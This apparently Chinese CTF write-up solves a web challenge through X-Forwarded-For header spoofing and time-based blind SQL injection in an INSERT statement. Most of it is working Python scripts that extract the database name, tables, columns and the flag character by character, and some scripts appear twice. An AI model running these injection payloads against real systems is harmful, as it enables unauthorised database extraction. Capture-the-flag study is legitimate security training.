地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php
这道题点开看见your ip is :xxx.xxx.xx.xxx
试了一些 最后发现是XFF注入
不过首先要进行ip伪造
X-Forwarded-For Client-IP x-remote-IP x-originating-IP x-remote-add
发现X-Forwarded-For可以伪造。
题目说：
我要把攻击我的人都记录db中去!
猜测这是一个INSERT INTO的注入。
源码中sql语句可能是:
$sql="insert into client_ip (ip) values ('$ip')";
所以这不能利用真值注入，报错注入等，只能尝试基于时间的注入。
第一种方法 python盲注脚本走起
提一下，这里需要用到select case when then语句
提交X-Forwarded-For:
' and case when (length((SELECT concat(database())))<10) then sleep(3) else sleep(0) end and '1'='1;
ok python脚本跑即可
基于时间盲注 数据库名长度判断
import requests
length = 0;
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
for i in range(1,20):
headers = {"X-Forwarded-For":"1' and case when (length((SELECT concat(database())))=%d) then sleep(5) else sleep(0) end and '1'='1" %(i)}
try:
r = requests.get(url, headers = headers, timeout=5)
print(r.text)
except:
length = i
break
print("length is :%d"%length)
数据库名判断
import requests
guess='abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
database = ''
for i in range(1,5):
for each in guess:
headers = {"X-Forwarded-For":"1' and case when (substring((select database()) from %d for 1)='%s') then sleep(5) else sleep(0) end and '1'='1" %(i,each)}
try:
r = requests.get(url, headers = headers, timeout=5)
except:
database += each
print("database的第%d位是%s"%(i,each))
break
print("database is %s"%database)
当前也可以把全部数据库跑出来
import requests
guess='abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
databases = []
database = ''
for i in range(1,20):#控制数据库个数
for j in range(1,10):#控制当前数据库位数
for each in guess:
headers = {"X-Forwarded-For":"1' and case when (substring((select schema_name from information_schema.SCHEMATA limit 1 offset %d) from %d for 1)='%s') then sleep(5) else sleep(0) end and '1'='1" %(i,j,each)}
try:
r = requests.get(url, headers = headers, timeout=5)
except:
database += each
break
if database != '':
print("第%d个数据库是%s"%(i,database))
databases.append(database)
database = ''
print("databases is %s"%databases)
得到数据库名为web4 接下来进行表名注入
import requests
##guess='abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
length = 0
for i in range(1,20):
headers = {"X-Forwarded-For":"1' and case when(substring((select group_concat(table_name separator ';') from information_schema.tables where table_schema='web4') from %s for 1)='') then sleep(6) else 0 end and 'a'='a" % (i)
}
try:
r = requests.get(url, headers = headers, timeout=5)
print(r.text)
except:
length = i-1
break
print("length is %s"%length)
表长度是14 爆表名
import requests
guess='abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
tables = ''
for i in range(1,15):
for each in guess:
headers = {"X-Forwarded-For":"1' and case when(substring((select group_concat(table_name separator ';') from information_schema.tables where table_schema='web4') from %s for 1)='%s') then sleep(6) else 0 end and 'a'='a" % (i,each)
}
try:
r = requests.get(url, headers = headers, timeout=5)
except:
tables += each
print("table is %s"%tables)
break
print("OK")import requests
guess='abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
tables = ''
for i in range(1,15):
for each in guess:
headers = {"X-Forwarded-For":"1' and case when(substring((select group_concat(table_name separator ';') from information_schema.tables where table_schema='web4') from %s for 1)='%s') then sleep(6) else 0 end and 'a'='a" % (i,each)
}
try:
r = requests.get(url, headers = headers, timeout=5)
except:
tables += each
print("table is %s"%tables)
break
print("OK")
发现存在flag表 接着就是爆字段长度=====》字段名=====》字段值
字段长度:
import requests
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
length = 0
for i in range(1,15):
headers = {"X-Forwarded-For":"1' and case when(substring((select group_concat(column_name separator ';') from information_schema.columns where table_schema='web4' and table_name='flag') from %s for 1)='') then sleep(6) else 0 end and 'a'='a" % (i)
}
try:
r = requests.get(url, headers = headers, timeout=5)
except:
length += i
break
print("length is %d"%length)
print("OK")
字段长度为5 爆字段名
import requests
guess='abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
colunm = ''
for i in range(1,6):
for each in guess:
headers = {"X-Forwarded-For":"1' and case when(substring((select group_concat(column_name separator ';') from information_schema.columns where table_schema='web4' and table_name='flag') from %s for 1)='%s') then sleep(6) else 0 end and 'a'='a" % (i,each)
}
try:
r = requests.get(url, headers = headers, timeout=5)
except:
colunm += each
print("colunm is %s"%colunm)
break
print("OK")
得出字段名为flag 最后爆字符值~
爆字段值(flag值)
import requests
guess='abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
flag = ''
for i in range(1,50):
for each in guess:
headers = {"X-Forwarded-For":"1' and case when(substring((select flag from web4.flag) from %s for 1)='%s') then sleep(6) else 0 end and 'a'='a" % (i,each)
}
try:
r = requests.get(url, headers = headers, timeout=5)
except:
flag += each
print("flag is %s"%flag)
break
print("OK")import requests
guess='abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
flag = ''
for i in range(1,50):
for each in guess:
headers = {"X-Forwarded-For":"1' and case when(substring((select flag from web4.flag) from %s for 1)='%s') then sleep(6) else 0 end and 'a'='a" % (i,each)
}
try:
r = requests.get(url, headers = headers, timeout=5)
except:
flag += each
print("flag is %s"%flag)
break
print("OK")